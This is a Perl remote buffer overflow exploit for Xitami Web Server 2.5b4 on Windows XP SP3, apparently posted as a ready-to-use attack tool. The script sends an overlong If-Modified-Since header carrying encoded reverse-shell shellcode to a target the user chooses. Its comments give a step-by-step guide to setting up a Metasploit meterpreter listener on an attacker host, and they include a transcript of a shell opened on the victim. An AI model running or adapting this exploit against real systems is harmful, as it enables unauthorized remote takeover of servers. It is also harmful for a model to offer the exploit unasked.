Xitami Web Server 2.5b4 – Remote Buffer Overflow
#!/usr/bin/perl # ------------------------------------------------------------- # Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit. # Exploit coded by mr.pr0n [http://s3cure.gr] . # Many greetz to krumel for his help :-). # ------------------------------------------------------------- # ------------------------------------------------------------- # Tested on: Xitami 2.5b4 / English Windows XP - SP3 # ------------------------------------------------------------- # ------------------------------------------------------------------------ # Bug for 2.5c2 discovered by Krystian Kloskowski (h07) <h07@interia.pl> # ------------------------------------------------------------------------- # # ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * # # -------------------------------- # Quick user guide! # -------------------------------- # 1st Step: Set up the listener. # -------------------------------- # msf > use multi/handler # msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_ord_tcp # PAYLOAD => windows/meterpreter/reverse_ord_tcp # msf exploit(handler) > set LHOST 192.168.178.25 # LHOST => 192.168.178.25 # msf exploit(handler) > exploit # # [*] Started reverse handler on 192.168.178.25:4444 # [*] Starting the payload handler... # # -------------------------------- # 2nd Step: Execute the exploit. # -------------------------------- # root@bt:~# cd Desktop/ # root@bt:~# ./Xitami2_5b4.pl # # #----[ mr.pr0n ]---------------------------------------------------------# # # Target App: Xitami Web Server 2.5b4 # # # Attack : Remote Buffer Overflow Exploit. # # # Target OS : Windows XP Pro English [Service Pack 3]. # # #---------------------------------------------[ http://s3cure.gr ]-------# # # Enter your target's IP (e.g.: 192.168.0.123) # > 192.168.178.37 # # [*] Sending the evil header at: 192.168.178.37 ... # [*] OK, exploitation Done! # [*] Check please for the shell... # # -------------------------------- # 3nd Step: N'joy your shell :-) # -------------------------------- # [*] Transmitting intermediate stager for over-sized stage...(216 bytes) # [*] Sending stage (749056 bytes) to 192.168.178.37 # [*] Meterpreter session 1 opened (192.168.178.25:4444 -> 192.168.178.37:1031) at 2011-05-31 02:13:33 +0300 # # meterpreter > sysinfo # Computer : xxxxxx-xxxxxx # OS : Windows XP (Build 2600, Service Pack 3). # Architecture : x86 # System Language : en_US # Meterpreter : x86/win32 # meterpreter > shell # Process 320 created. # Channel 1 created. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Xitami> # # ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * # use IO::Socket; print "\n#----[ mr.pr0n ]---------------------------------------------------------#\n"; print "# Target App: Xitami Web Server 2.5b4 #\n"; print "# Attack : Remote Buffer Overflow Exploit. #\n"; print "# Target OS : Windows XP Pro English [Service Pack 3]. #\n"; print "#---------------------------------------------[ http://s3cure.gr ]-------#\n"; print "\nEnter your target's IP (e.g.: 192.168.0.123)"; print "\n> "; $target=<STDIN>; chomp($target); #---------------------------# $junk = "\x41" x 72; # 72 x "A". $RET = "\x53\x2b\xab\x71"; # ws2_32.dll push ESP - ret - (Windows XP SP3 - [En]). $jmp = "\xeb\x22"; # JMP +0x22. $nops = "\x90" x 100; # 100 Nops. #---------------------------# # ./msfpayload win32_reverse_ord EXITFUNC=thread LHOST=192.168.178.25 LPORT=4444 R | ./msfencode -e PexAlphaNum # [*] Using Msf::Encoder::PexAlphaNum with final size of 261 bytes $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x41\x33\x4b\x4d". "\x46\x56\x4b\x48\x43\x34\x42\x43\x4b\x48\x42\x44\x4e\x30\x4b\x48". "\x42\x55\x4e\x31\x4b\x38\x44\x31\x4b\x48\x44\x37\x42\x42\x4d\x4a". "\x4d\x4a\x50\x54\x43\x50\x48\x30\x4d\x53\x44\x43\x43\x53\x4f\x45". "\x44\x33\x45\x37\x4f\x4e\x4b\x58\x4c\x36\x4a\x50\x4b\x58\x45\x54". "\x4e\x33\x4b\x38\x4e\x54\x45\x50\x4a\x47\x4b\x58\x4e\x44\x4d\x50". "\x4e\x41\x41\x30\x49\x4e\x4b\x58\x41\x34\x4a\x55\x41\x50\x4a\x4e". "\x4b\x48\x41\x57\x4e\x53\x41\x50\x50\x4e\x43\x50\x49\x36\x4e\x50". "\x43\x55\x4c\x46\x41\x30\x4c\x36\x44\x30\x4f\x4f\x42\x4d\x47\x39". "\x4a\x36\x42\x4c\x4a\x4a\x44\x4b\x49\x51\x4a\x36\x44\x50\x42\x50". "\x41\x31\x4e\x35\x49\x58\x41\x4e\x43\x35\x47\x4b\x4e\x50\x43\x35". "\x41\x45\x47\x55\x41\x45\x4c\x56\x42\x41\x41\x55\x47\x35\x48\x55". "\x4f\x4f\x45\x4e\x5a"; if ($socket = IO::Socket::INET->new (PeerAddr => $target, PeerPort => "80", Proto => "TCP")) { $exploit = $junk.$RET.$jmp.$nops.$shellcode; # #---------------------------------# # If we send an If-Modified-Since header, # containing an overly long string (for example our exploit) # it may be possible to execute (remotely) a payload!! #---------------------------------# # # This is the evil header! }:-) $header = "GET / HTTP/1.1\r\n". "Host: ".$target." \r\n". "If-Modified-Since: p0wnp0wnb00m! "." $exploit\r\n"; print "\n[*] Sending the evil header at: $target ...\n"; print $socket $header."\r\n"; sleep(1); close($socket); print "[*] OK, exploitation Done!\n"; print "[*] Check please the shell..\n\n"; } else { print "[-] Connection to $target failed!\n"; } |